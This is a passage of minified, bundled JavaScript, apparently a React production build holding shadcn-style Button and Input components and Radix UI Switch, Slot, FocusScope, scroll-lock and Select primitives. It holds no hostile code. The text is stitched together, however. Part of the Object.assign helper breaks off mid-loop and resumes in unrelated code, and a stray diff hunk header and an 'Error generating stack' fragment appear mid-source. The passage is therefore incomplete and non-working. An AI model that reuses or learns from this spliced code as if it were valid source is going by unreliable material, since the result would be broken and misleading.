c=r?YH:"button";return E.jsx(c,{className:Ee(Vb({variant:t,size:n,className:e})),ref:l,...i})});or.displayName="Button";const Rr=v.forwardRef(({className:e,type:t,...n},r)=>E.jsx("input",{type:t,className:Ee("flex h-10 w-full rounded-md border border-input bg-background px-3 py-2 text-sm ring-offset-background file:border-0 file:bg-transparent file:text-sm file:font-medium placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50",e),ref:r,...n}));Rr.displayName="Input";function Oj(e){const t=v.useRef({value:e,previous:e});return v.useMemo(()=>(t.current.value!==e&&(t.current.previous=t.current.value,t.current.value=e),t.current.previous),[e])}var kh="Switch",[JH]=Fn(kh),[e9,t9]=JH(kh),Ej=v.forwardRef((e,t)=>{const{__scopeSwitch:n,name:r,checked:i,defaultChecked:l,required:c,disabled:u,value:f="on",onCheckedChange:h,form:p,...m}=e,[y,x]=v.useState(null),S=De(t,T=>x(T)),w=v.useRef(!1),O=y?p||!!y.closest("form"):!0,[A,_]=Oa({prop:i,defaultProp:l??!1,onChange:h,caller:kh});return E.jsxs(e9,{scope:n,checked:A,disabled:u,children:[E.jsx(Ce.button,{type:"button",role:"switch","aria-checked":A,"aria-required":c,"data-state":Tj(A),"data-disabled":u?"":void 0,disabled:u,value:f,...m,ref:S,onClick:ue(e.onClick,T=>{_(j=>!j),O&&(w.current=T.isPropagationStopped(),w.current||T.stopPropagation())})}),O&&E.jsx(_j,{control:y,bubbles:!w.current,name:r,value:f,checked:A,required:c,disabled:u,form:p,style:{transform:"translateX(-100%)"}})]})});Ej.displayName=kh;var Aj="SwitchThumb",Cj=v.forwardRef((e,t)=>{const{__scopeSwitch:n,...r}=e,i=t9(Aj,n);return E.jsx(Ce.span,{"data-state":Tj(i.checked),"data-disabled":i.disabled?"":void 0,...r,ref:t})});Cj.displayName=Aj;var n9="SwitchBubbleInput",_j=v.forwardRef(({__scopeSwitch:e,control:t,checked:n,bubbles:r=!0,...i},l)=>{const c=v.useRef(null),u=De(c,l),f=Oj(n),h=BM(t);return v.useEffect(()=>{const p=c.current;if(!p)return;const m=window.HTMLInputElement.prototype,x=Object.getOwnPropertyDescriptor(m,"checked").set;if(f!==n&&x){const S=new Event("click",{bubbles:r});x.call(p,n),p.dispatchEvent(S)}},[f,n,r]),E.jsx("input",{type:"checkbox","aria-hidden":!0,defaultChecked:n,...i,tabIndex:-1,ref:u,style:{...i.style,...h,position:"absolute",pointerEvents:"none",opacity:0,margin:0}})});_j.displayName=n9;function Tj(e){return e?"checked":"unchecked"}var Nj=Ej,r9=Cj;const cd=v.forwardRef(({className:e,...t},n)=>E.jsx(Nj,{className:Ee("peer inline-flex h-6 w-11 shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-background disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-primary data-[state=unchecked]:bg-input",e),...t,ref:n,children:E.jsx(r9,{className:Ee("pointer-events-none block h-5 w-5 rounded-full bg-background shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-5 data-[state=unchecked]:translate-x-0")})}));cd.displayName=Nj.displayName;function g0(e,[t,n]){return Math.min(n,Math.max(t,e))}function cC(e){const t=a9(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(o9);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function a9(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=s9(i),u=l9(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var i9=Symbol("radix.slottable");function o9(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===i9}function l9(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function s9(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}function Kb(e){const t=e+"CollectionProvider",[n,r]=Fn(t),[i,l]=n(t,{collectionRef:{current:null},itemMap:new Map}),c=w=>{const{scope:O,children:A}=w,_=hi.useRef(null),T=hi.useRef(new Map).current;return E.jsx(i,{scope:O,itemMap:T,collectionRef:_,children:A})};c.displayName=t;const u=e+"CollectionSlot",f=cC(u),h=hi.forwardRef((w,O)=>{const{scope:A,children:_}=w,T=l(u,A),j=De(O,T.collectionRef);return E.jsx(f,{ref:j,children:_})});h.displayName=u;const p=e+"CollectionItemSlot",m="data-radix-collection-item",y=cC(p),x=hi.forwardRef((w,O)=>{const{scope:A,children:_,...T}=w,j=hi.useRef(null),M=De(O,j),P=l(p,A);return hi.useEffect(()=>(P.itemMap.set(j,{ref:j,...T}),()=>{P.itemMap.delete(j)})),E.jsx(y,{[m]:"",ref:M,children:_})});x.displayName=p;function S(w){const O=l(e+"CollectionConsumer",w);return hi.useCallback(()=>{const _=O.collectionRef.current;if(!_)return[];const T=Array.from(_.querySelectorAll(`[${m}]`));return Array.from(O.itemMap.values()).sort((P,R)=>T.indexOf(P.ref.current)-T.indexOf(R.ref.current))},[O.collectionRef,O.itemMap])}return[{Provider:c,Slot:h,ItemSlot:x},S,r]}var c9=v.createContext(void 0);function Kc(e){const t=v.useContext(c9);return e||t||"ltr"}var xg=0;function Yb(){v.useEffect(()=>{const e=document.querySelectorAll("[data-radix-focus-guard]");return document.body.insertAdjacentElement("afterbegin",e[0]??uC()),document.body.insertAdjacentElement("beforeend",e[1]??uC()),xg++,()=>{xg===1&&document.querySelectorAll("[data-radix-focus-guard]").forEach(t=>t.remove()),xg--}},[])}function uC(){const e=document.createElement("span");return e.setAttribute("data-radix-focus-guard",""),e.tabIndex=0,e.style.outline="none",e.style.opacity="0",e.style.position="fixed",e.style.pointerEvents="none",e}var wg="focusScope.autoFocusOnMount",Sg="focusScope.autoFocusOnUnmount",fC={bubbles:!1,cancelable:!0},u9="FocusScope",Lh=v.forwardRef((e,t)=>{const{loop:n=!1,trapped:r=!1,onMountAutoFocus:i,onUnmountAutoFocus:l,...c}=e,[u,f]=v.useState(null),h=en(i),p=en(l),m=v.useRef(null),y=De(t,w=>f(w)),x=v.useRef({paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}}).current;v.useEffect(()=>{if(r){let w=function(T){if(x.paused||!u)return;const j=T.target;u.contains(j)?m.current=j:pi(m.current,{select:!0})},O=function(T){if(x.paused||!u)return;const j=T.relatedTarget;j!==null&&(u.contains(j)||pi(m.current,{select:!0}))},A=function(T){if(document.activeElement===document.body)for(const M of T)M.removedNodes.length>0&&pi(u)};document.addEventListener("focusin",w),document.addEventListener("focusout",O);const _=new MutationObserver(A);return u&&_.observe(u,{childList:!0,subtree:!0}),()=>{document.removeEventListener("focusin",w),document.removeEventListener("focusout",O),_.disconnect()}}},[r,u,x.paused]),v.useEffect(()=>{if(u){hC.add(x);const w=document.activeElement;if(!u.contains(w)){const A=new CustomEvent(wg,fC);u.addEventListener(wg,h),u.dispatchEvent(A),A.defaultPrevented||(f9(v9(Mj(u)),{select:!0}),document.activeElement===w&&pi(u))}return()=>{u.removeEventListener(wg,h),setTimeout(()=>{const A=new CustomEvent(Sg,fC);u.addEventListener(Sg,p),u.dispatchEvent(A),A.defaultPrevented||pi(w??document.body,{select:!0}),u.removeEventListener(Sg,p),hC.remove(x)},0)}}},[u,h,p,x]);const S=v.useCallback(w=>{if(!n&&!r||x.paused)return;const O=w.key==="Tab"&&!w.altKey&&!w.ctrlKey&&!w.metaKey,A=document.activeElement;if(O&&A){const _=w.currentTarget,[T,j]=d9(_);T&&j?!w.shiftKey&&A===j?(w.preventDefault(),n&&pi(T,{select:!0})):w.shiftKey&&A===T&&(w.preventDefault(),n&&pi(j,{select:!0})):A===_&&w.preventDefault()}},[n,r,x.paused]);return E.jsx(Ce.div,{tabIndex:-1,...c,ref:y,onKeyDown:S})});Lh.displayName=u9;function f9(e,{select:t=!1}={}){const n=document.activeElement;for(const r of e)if(pi(r,{select:t}),document.activeElement!==n)return}function d9(e){const t=Mj(e),n=dC(t,e),r=dC(t.reverse(),e);return[n,r]}function Mj(e){const t=[],n=document.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,{acceptNode:r=>{const i=r.tagName==="INPUT"&&r.type==="hidden";return r.disabled||r.hidden||i?NodeFilter.FILTER_SKIP:r.tabIndex>=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;n.nextNode();)t.push(n.currentNode);return t}function dC(e,t){for(const n of e)if(!h9(n,{upTo:t}))return n}function h9(e,{upTo:t}){if(getComputedStyle(e).visibility==="hidden")return!0;for(;e;){if(t!==void 0&&e===t)return!1;if(getComputedStyle(e).display==="none")return!0;e=e.parentElement}return!1}function p9(e){return e instanceof HTMLInputElement&&"select"in e}function pi(e,{select:t=!1}={}){if(e&&e.focus){const n=document.activeElement;e.focus({preventScroll:!0}),e!==n&&p9(e)&&t&&e.select()}}var hC=m9();function m9(){let e=[];return{add(t){const n=e[0];t!==n&&n?.pause(),e=pC(e,t),e.unshift(t)},remove(t){e=pC(e,t),e[0]?.resume()}}}function pC(e,t){const n=[...e],r=n.indexOf(t);return r!==-1&&n.splice(r,1),n}function v9(e){return e.filter(t=>t.tagName!=="A")}function g9(e){const t=y9(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(x9);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function y9(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=S9(i),u=w9(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var b9=Symbol("radix.slottable");function x9(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===b9}function w9(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function S9(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var O9=function(e){if(typeof document>"u")return null;var t=Array.isArray(e)?e[0]:e;return t.ownerDocument.body},vl=new WeakMap,Uf=new WeakMap,Hf={},Og=0,jj=function(e){return e&&(e.host||jj(e.parentNode))},E9=function(e,t){return t.map(function(n){if(e.contains(n))return n;var r=jj(n);return r&&e.contains(r)?r:(console.error("aria-hidden",n,"in not contained inside",e,". Doing nothing"),null)}).filter(function(n){return!!n})},A9=function(e,t,n,r){var i=E9(t,Array.isArray(e)?e:[e]);Hf[n]||(Hf[n]=new WeakMap);var l=Hf[n],c=[],u=new Set,f=new Set(i),h=function(m){!m||u.has(m)||(u.add(m),h(m.parentNode))};i.forEach(h);var p=function(m){!m||f.has(m)||Array.prototype.forEach.call(m.children,function(y){if(u.has(y))p(y);else try{var x=y.getAttribute(r),S=x!==null&&x!=="false",w=(vl.get(y)||0)+1,O=(l.get(y)||0)+1;vl.set(y,w),l.set(y,O),c.push(y),w===1&&S&&Uf.set(y,!0),O===1&&y.setAttribute(n,"true"),S||y.setAttribute(r,"true")}catch(A){console.error("aria-hidden: cannot operate on ",y,A)}})};return p(t),u.clear(),Og++,function(){c.forEach(function(m){var y=vl.get(m)-1,x=l.get(m)-1;vl.set(m,y),l.set(m,x),y||(Uf.has(m)||m.removeAttribute(r),Uf.delete(m)),x||m.removeAttribute(n)}),Og--,Og||(vl=new WeakMap,vl=new WeakMap,Uf=new WeakMap,Hf={})}},Gb=function(e,t,n){n===void 0&&(n="data-aria-hidden");var r=Array.from(Array.isArray(e)?e:[e]),i=O9(e);return i?(r.push.apply(r,Array.from(i.querySelectorAll("[aria-live], script"))),A9(r,i,n,"aria-hidden")):function(){return null}},Dr=function(){return Dr=Object.assign||function(t){for(var n,r=1,i=arguments.length;r"u")return H9;var t=q9(e),n=document.documentElement.clientWidth,r=window.innerWidth;return{left:t[0],top:t[1],right:t[2],gap:Math.max(0,r-n+t[2]-t[0])}},V9=kj(),_l="data-scroll-locked",K9=function(e,t,n,r){var i=e.left,l=e.top,c=e.right,u=e.gap;return n===void 0&&(n="margin"),` .`.concat(_9,` { overflow: hidden `).concat(r,`; padding-right: `).concat(u,"px ").concat(r,`; @@ -46,10 +46,10 @@ Error generating stack: `+d.message+` `)},vC=function(){var e=parseInt(document.body.getAttribute(_l)||"0",10);return isFinite(e)?e:0},Y9=function(){v.useEffect(function(){return document.body.setAttribute(_l,(vC()+1).toString()),function(){var e=vC()-1;e<=0?document.body.removeAttribute(_l):document.body.setAttribute(_l,e.toString())}},[])},G9=function(e){var t=e.noRelative,n=e.noImportant,r=e.gapMode,i=r===void 0?"margin":r;Y9();var l=v.useMemo(function(){return F9(i)},[i]);return v.createElement(V9,{styles:K9(l,!t,i,n?"":"!important")})},y0=!1;if(typeof window<"u")try{var qf=Object.defineProperty({},"passive",{get:function(){return y0=!0,!0}});window.addEventListener("test",qf,qf),window.removeEventListener("test",qf,qf)}catch{y0=!1}var gl=y0?{passive:!1}:!1,W9=function(e){return e.tagName==="TEXTAREA"},Lj=function(e,t){if(!(e instanceof Element))return!1;var n=window.getComputedStyle(e);return n[t]!=="hidden"&&!(n.overflowY===n.overflowX&&!W9(e)&&n[t]==="visible")},X9=function(e){return Lj(e,"overflowY")},Z9=function(e){return Lj(e,"overflowX")},gC=function(e,t){var n=t.ownerDocument,r=t;do{typeof ShadowRoot<"u"&&r instanceof ShadowRoot&&(r=r.host);var i=Ij(e,r);if(i){var l=zj(e,r),c=l[1],u=l[2];if(c>u)return!0}r=r.parentNode}while(r&&r!==n.body);return!1},Q9=function(e){var t=e.scrollTop,n=e.scrollHeight,r=e.clientHeight;return[t,n,r]},J9=function(e){var t=e.scrollLeft,n=e.scrollWidth,r=e.clientWidth;return[t,n,r]},Ij=function(e,t){return e==="v"?X9(t):Z9(t)},zj=function(e,t){return e==="v"?Q9(t):J9(t)},e7=function(e,t){return e==="h"&&t==="rtl"?-1:1},t7=function(e,t,n,r,i){var l=e7(e,window.getComputedStyle(t).direction),c=l*r,u=n.target,f=t.contains(u),h=!1,p=c>0,m=0,y=0;do{if(!u)break;var x=zj(e,u),S=x[0],w=x[1],O=x[2],A=w-O-l*S;(S||A)&&Ij(e,u)&&(m+=A,y+=S);var _=u.parentNode;u=_&&_.nodeType===Node.DOCUMENT_FRAGMENT_NODE?_.host:_}while(!f&&u!==document.body||f&&(t.contains(u)||t===u));return(p&&Math.abs(m)<1||!p&&Math.abs(y)<1)&&(h=!0),h},Ff=function(e){return"changedTouches"in e?[e.changedTouches[0].clientX,e.changedTouches[0].clientY]:[0,0]},yC=function(e){return[e.deltaX,e.deltaY]},bC=function(e){return e&&"current"in e?e.current:e},n7=function(e,t){return e[0]===t[0]&&e[1]===t[1]},r7=function(e){return` .block-interactivity-`.concat(e,` {pointer-events: none;} .allow-interactivity-`).concat(e,` {pointer-events: all;} -`)},a7=0,yl=[];function i7(e){var t=v.useRef([]),n=v.useRef([0,0]),r=v.useRef(),i=v.useState(a7++)[0],l=v.useState(kj)[0],c=v.useRef(e);v.useEffect(function(){c.current=e},[e]),v.useEffect(function(){if(e.inert){document.body.classList.add("block-interactivity-".concat(i));var w=C9([e.lockRef.current],(e.shards||[]).map(bC),!0).filter(Boolean);return w.forEach(function(O){return O.classList.add("allow-interactivity-".concat(i))}),function(){document.body.classList.remove("block-interactivity-".concat(i)),w.forEach(function(O){return O.classList.remove("allow-interactivity-".concat(i))})}}},[e.inert,e.lockRef.current,e.shards]);var u=v.useCallback(function(w,O){if("touches"in w&&w.touches.length===2||w.type==="wheel"&&w.ctrlKey)return!c.current.allowPinchZoom;var A=Ff(w),_=n.current,T="deltaX"in w?w.deltaX:_[0]-A[0],j="deltaY"in w?w.deltaY:_[1]-A[1],M,P=w.target,R=Math.abs(T)>Math.abs(j)?"h":"v";if("touches"in w&&R==="h"&&P.type==="range")return!1;var I=window.getSelection(),B=I&&I.anchorNode,q=B?B===P||B.contains(P):!1;if(q)return!1;var U=gC(R,P);if(!U)return!0;if(U?M=R:(M=R==="v"?"h":"v",U=gC(R,P)),!U)return!1;if(!r.current&&"changedTouches"in w&&(T||j)&&(r.current=M),!M)return!0;var V=r.current||M;return t7(V,O,w,V==="h"?T:j)},[]),f=v.useCallback(function(w){var O=w;if(!(!yl.length||yl[yl.length-1]!==l)){var A="deltaY"in O?yC(O):Ff(O),_=t.current.filter(function(M){return M.name===O.type&&(M.target===O.target||O.target===M.shadowParent)&&n7(M.delta,A)})[0];if(_&&_.should){O.cancelable&&O.preventDefault();return}if(!_){var T=(c.current.shards||[]).map(bC).filter(Boolean).filter(function(M){return M.contains(O.target)}),j=T.length>0?u(O,T[0]):!c.current.noIsolation;j&&O.cancelable&&O.preventDefault()}}},[]),h=v.useCallback(function(w,O,A,_){var T={name:w,delta:O,target:A,should:_,shadowParent:o7(A)};t.current.push(T),setTimeout(function(){t.current=t.current.filter(function(j){return j!==T})},1)},[]),p=v.useCallback(function(w){n.current=Ff(w),r.current=void 0},[]),m=v.useCallback(function(w){h(w.type,yC(w),w.target,u(w,e.lockRef.current))},[]),y=v.useCallback(function(w){h(w.type,Ff(w),w.target,u(w,e.lockRef.current))},[]);v.useEffect(function(){return yl.push(l),e.setCallbacks({onScrollCapture:m,onWheelCapture:m,onTouchMoveCapture:y}),document.addEventListener("wheel",f,gl),document.addEventListener("touchmove",f,gl),document.addEventListener("touchstart",p,gl),function(){yl=yl.filter(function(w){return w!==l}),document.removeEventListener("wheel",f,gl),document.removeEventListener("touchmove",f,gl),document.removeEventListener("touchstart",p,gl)}},[]);var x=e.removeScrollBar,S=e.inert;return v.createElement(v.Fragment,null,S?v.createElement(l,{styles:r7(i)}):null,x?v.createElement(G9,{noRelative:e.noRelative,gapMode:e.gapMode}):null)}function o7(e){for(var t=null;e!==null;)e instanceof ShadowRoot&&(t=e.host,e=e.host),e=e.parentNode;return t}const l7=k9(Dj,i7);var zh=v.forwardRef(function(e,t){return v.createElement(Ih,Dr({},e,{ref:t,sideCar:l7}))});zh.classNames=Ih.classNames;var s7=[" ","Enter","ArrowUp","ArrowDown"],c7=[" ","Enter"],lo="Select",[$h,Bh,u7]=Kb(lo),[Yl]=Fn(lo,[u7,Fl]),Uh=Fl(),[f7,Ci]=Yl(lo),[d7,h7]=Yl(lo),$j=e=>{const{__scopeSelect:t,children:n,open:r,defaultOpen:i,onOpenChange:l,value:c,defaultValue:u,onValueChange:f,dir:h,name:p,autoComplete:m,disabled:y,required:x,form:S}=e,w=Uh(t),[O,A]=v.useState(null),[_,T]=v.useState(null),[j,M]=v.useState(!1),P=Kc(h),[R,I]=Oa({prop:r,defaultProp:i??!1,onChange:l,caller:lo}),[B,q]=Oa({prop:c,defaultProp:u,onChange:f,caller:lo}),U=v.useRef(null),V=O?S||!!O.closest("form"):!0,[oe,le]=v.useState(new Set),ce=Array.from(oe).map(L=>L.props.value).join(";");return E.jsx(zb,{...w,children:E.jsxs(f7,{required:x,scope:t,trigger:O,onTriggerChange:A,valueNode:_,onValueNodeChange:T,valueNodeHasChildren:j,onValueNodeHasChildrenChange:M,contentId:sr(),value:B,onValueChange:q,open:R,onOpenChange:I,dir:P,triggerPointerDownPosRef:U,disabled:y,children:[E.jsx($h.Provider,{scope:t,children:E.jsx(d7,{scope:e.__scopeSelect,onNativeOptionAdd:v.useCallback(L=>{le(F=>new Set(F).add(L))},[]),onNativeOptionRemove:v.useCallback(L=>{le(F=>{const $=new Set(F);return $.delete(L),$})},[]),children:n})}),V?E.jsxs(cP,{"aria-hidden":!0,required:x,tabIndex:-1,name:p,autoComplete:m,value:B,onChange:L=>q(L.target.value),disabled:y,form:S,children:[B===void 0?E.jsx("option",{value:""}):null,Array.from(oe)]},ce):null]})})};$j.displayName=lo;var Bj="SelectTrigger",Uj=v.forwardRef((e,t)=>{const{__scopeSelect:n,disabled:r=!1,...i}=e,l=Uh(n),c=Ci(Bj,n),u=c.disabled||r,f=De(t,c.onTriggerChange),h=Bh(n),p=v.useRef("touch"),[m,y,x]=fP(w=>{const O=h().filter(T=>!T.disabled),A=O.find(T=>T.value===c.value),_=dP(O,w,A);_!==void 0&&c.onValueChange(_.value)}),S=w=>{u||(c.onOpenChange(!0),x()),w&&(c.triggerPointerDownPosRef.current={x:Math.round(w.pageX),y:Math.round(w.pageY)})};return E.jsx($b,{asChild:!0,...l,children:E.jsx(Ce.button,{type:"button",role:"combobox","aria-controls":c.contentId,"aria-expanded":c.open,"aria-required":c.required,"aria-autocomplete":"none",dir:c.dir,"data-state":c.open?"open":"closed",disabled:u,"data-disabled":u?"":void 0,"data-placeholder":uP(c.value)?"":void 0,...i,ref:f,onClick:ue(i.onClick,w=>{w.currentTarget.focus(),p.current!=="mouse"&&S(w)}),onPointerDown:ue(i.onPointerDown,w=>{p.current=w.pointerType;const O=w.target;O.hasPointerCapture(w.pointerId)&&O.releasePointerCapture(w.pointerId),w.button===0&&w.ctrlKey===!1&&w.pointerType==="mouse"&&(S(w),w.preventDefault())}),onKeyDown:ue(i.onKeyDown,w=>{const O=m.current!=="";!(w.ctrlKey||w.altKey||w.metaKey)&&w.key.length===1&&y(w.key),!(O&&w.key===" ")&&s7.includes(w.key)&&(S(),w.preventDefault())})})})});Uj.displayName=Bj;var Hj="SelectValue",qj=v.forwardRef((e,t)=>{const{__scopeSelect:n,className:r,style:i,children:l,placeholder:c="",...u}=e,f=Ci(Hj,n),{onValueNodeHasChildrenChange:h}=f,p=l!==void 0,m=De(t,f.onValueNodeChange);return Ft(()=>{h(p)},[h,p]),E.jsx(Ce.span,{...u,ref:m,style:{pointerEvents:"none"},children:uP(f.value)?E.jsx(E.Fragment,{children:c}):l})});qj.displayName=Hj;var p7="SelectIcon",Fj=v.forwardRef((e,t)=>{const{__scopeSelect:n,children:r,...i}=e;return E.jsx(Ce.span,{"aria-hidden":!0,...i,ref:t,children:r||"▼"})});Fj.displayName=p7;var m7="SelectPortal",Vj=e=>E.jsx(Fc,{asChild:!0,...e});Vj.displayName=m7;var so="SelectContent",Kj=v.forwardRef((e,t)=>{const n=Ci(so,e.__scopeSelect),[r,i]=v.useState();if(Ft(()=>{i(new DocumentFragment)},[]),!n.open){const l=r;return l?So.createPortal(E.jsx(Yj,{scope:e.__scopeSelect,children:E.jsx($h.Slot,{scope:e.__scopeSelect,children:E.jsx("div",{children:e.children})})}),l):null}return E.jsx(Gj,{...e,ref:t})});Kj.displayName=so;var yr=10,[Yj,_i]=Yl(so),v7="SelectContentImpl",g7=g9("SelectContent.RemoveScroll"),Gj=v.forwardRef((e,t)=>{const{__scopeSelect:n,position:r="item-aligned",onCloseAutoFocus:i,onEscapeKeyDown:l,onPointerDownOutside:c,side:u,sideOffset:f,align:h,alignOffset:p,arrowPadding:m,collisionBoundary:y,collisionPadding:x,sticky:S,hideWhenDetached:w,avoidCollisions:O,...A}=e,_=Ci(so,n),[T,j]=v.useState(null),[M,P]=v.useState(null),R=De(t,ee=>j(ee)),[I,B]=v.useState(null),[q,U]=v.useState(null),V=Bh(n),[oe,le]=v.useState(!1),ce=v.useRef(!1);v.useEffect(()=>{if(T)return Gb(T)},[T]),Yb();const L=v.useCallback(ee=>{const[_e,...Q]=V().map(ne=>ne.ref.current),[fe]=Q.slice(-1),he=document.activeElement;for(const ne of ee)if(ne===he||(ne?.scrollIntoView({block:"nearest"}),ne===_e&&M&&(M.scrollTop=0),ne===fe&&M&&(M.scrollTop=M.scrollHeight),ne?.focus(),document.activeElement!==he))return},[V,M]),F=v.useCallback(()=>L([I,T]),[L,I,T]);v.useEffect(()=>{oe&&F()},[oe,F]);const{onOpenChange:$,triggerPointerDownPosRef:Z}=_;v.useEffect(()=>{if(T){let ee={x:0,y:0};const _e=fe=>{ee={x:Math.abs(Math.round(fe.pageX)-(Z.current?.x??0)),y:Math.abs(Math.round(fe.pageY)-(Z.current?.y??0))}},Q=fe=>{ee.x<=10&&ee.y<=10?fe.preventDefault():T.contains(fe.target)||$(!1),document.removeEventListener("pointermove",_e),Z.current=null};return Z.current!==null&&(document.addEventListener("pointermove",_e),document.addEventListener("pointerup",Q,{capture:!0,once:!0})),()=>{document.removeEventListener("pointermove",_e),document.removeEventListener("pointerup",Q,{capture:!0})}}},[T,$,Z]),v.useEffect(()=>{const ee=()=>$(!1);return window.addEventListener("blur",ee),window.addEventListener("resize",ee),()=>{window.removeEventListener("blur",ee),window.removeEventListener("resize",ee)}},[$]);const[de,D]=fP(ee=>{const _e=V().filter(he=>!he.disabled),Q=_e.find(he=>he.ref.current===document.activeElement),fe=dP(_e,ee,Q);fe&&setTimeout(()=>fe.ref.current.focus())}),X=v.useCallback((ee,_e,Q)=>{const fe=!ce.current&&!Q;(_.value!==void 0&&_.value===_e||fe)&&(B(ee),fe&&(ce.current=!0))},[_.value]),ae=v.useCallback(()=>T?.focus(),[T]),se=v.useCallback((ee,_e,Q)=>{const fe=!ce.current&&!Q;(_.value!==void 0&&_.value===_e||fe)&&U(ee)},[_.value]),me=r==="popper"?b0:Wj,xe=me===b0?{side:u,sideOffset:f,align:h,alignOffset:p,arrowPadding:m,collisionBoundary:y,collisionPadding:x,sticky:S,hideWhenDetached:w,avoidCollisions:O}:{};return E.jsx(Yj,{scope:n,content:T,viewport:M,onViewportChange:P,itemRefCallback:X,selectedItem:I,onItemLeave:ae,itemTextRefCallback:se,focusSelectedItem:F,selectedItemText:q,position:r,isPositioned:oe,searchRef:de,children:E.jsx(zh,{as:g7,allowPinchZoom:!0,children:E.jsx(Lh,{asChild:!0,trapped:_.open,onMountAutoFocus:ee=>{ee.preventDefault()},onUnmountAutoFocus:ue(i,ee=>{_.trigger?.focus({preventScroll:!0}),ee.preventDefault()}),children:E.jsx(Hc,{asChild:!0,disableOutsidePointerEvents:!0,onEscapeKeyDown:l,onPointerDownOutside:c,onFocusOutside:ee=>ee.preventDefault(),onDismiss:()=>_.onOpenChange(!1),children:E.jsx(me,{role:"listbox",id:_.contentId,"data-state":_.open?"open":"closed",dir:_.dir,onContextMenu:ee=>ee.preventDefault(),...A,...xe,onPlaced:()=>le(!0),ref:R,style:{display:"flex",flexDirection:"column",outline:"none",...A.style},onKeyDown:ue(A.onKeyDown,ee=>{const _e=ee.ctrlKey||ee.altKey||ee.metaKey;if(ee.key==="Tab"&&ee.preventDefault(),!_e&&ee.key.length===1&&D(ee.key),["ArrowUp","ArrowDown","Home","End"].includes(ee.key)){let fe=V().filter(he=>!he.disabled).map(he=>he.ref.current);if(["ArrowUp","End"].includes(ee.key)&&(fe=fe.slice().reverse()),["ArrowUp","ArrowDown"].includes(ee.key)){const he=ee.target,ne=fe.indexOf(he);fe=fe.slice(ne+1)}setTimeout(()=>L(fe)),ee.preventDefault()}})})})})})})});Gj.displayName=v7;var y7="SelectItemAlignedPosition",Wj=v.forwardRef((e,t)=>{const{__scopeSelect:n,onPlaced:r,...i}=e,l=Ci(so,n),c=_i(so,n),[u,f]=v.useState(null),[h,p]=v.useState(null),m=De(t,R=>p(R)),y=Bh(n),x=v.useRef(!1),S=v.useRef(!0),{viewport:w,selectedItem:O,selectedItemText:A,focusSelectedItem:_}=c,T=v.useCallback(()=>{if(l.trigger&&l.valueNode&&u&&h&&w&&O&&A){const R=l.trigger.getBoundingClientRect(),I=h.getBoundingClientRect(),B=l.valueNode.getBoundingClientRect(),q=A.getBoundingClientRect();if(l.dir!=="rtl"){const he=q.left-I.left,ne=B.left-he,Ke=R.left-ne,je=R.width+Ke,bt=Math.max(je,I.width),xt=window.innerWidth-yr,Cn=g0(ne,[yr,Math.max(yr,xt-bt)]);u.style.minWidth=je+"px",u.style.left=Cn+"px"}else{const he=I.right-q.right,ne=window.innerWidth-B.right-he,Ke=window.innerWidth-R.right-ne,je=R.width+Ke,bt=Math.max(je,I.width),xt=window.innerWidth-yr,Cn=g0(ne,[yr,Math.max(yr,xt-bt)]);u.style.minWidth=je+"px",u.style.right=Cn+"px"}const 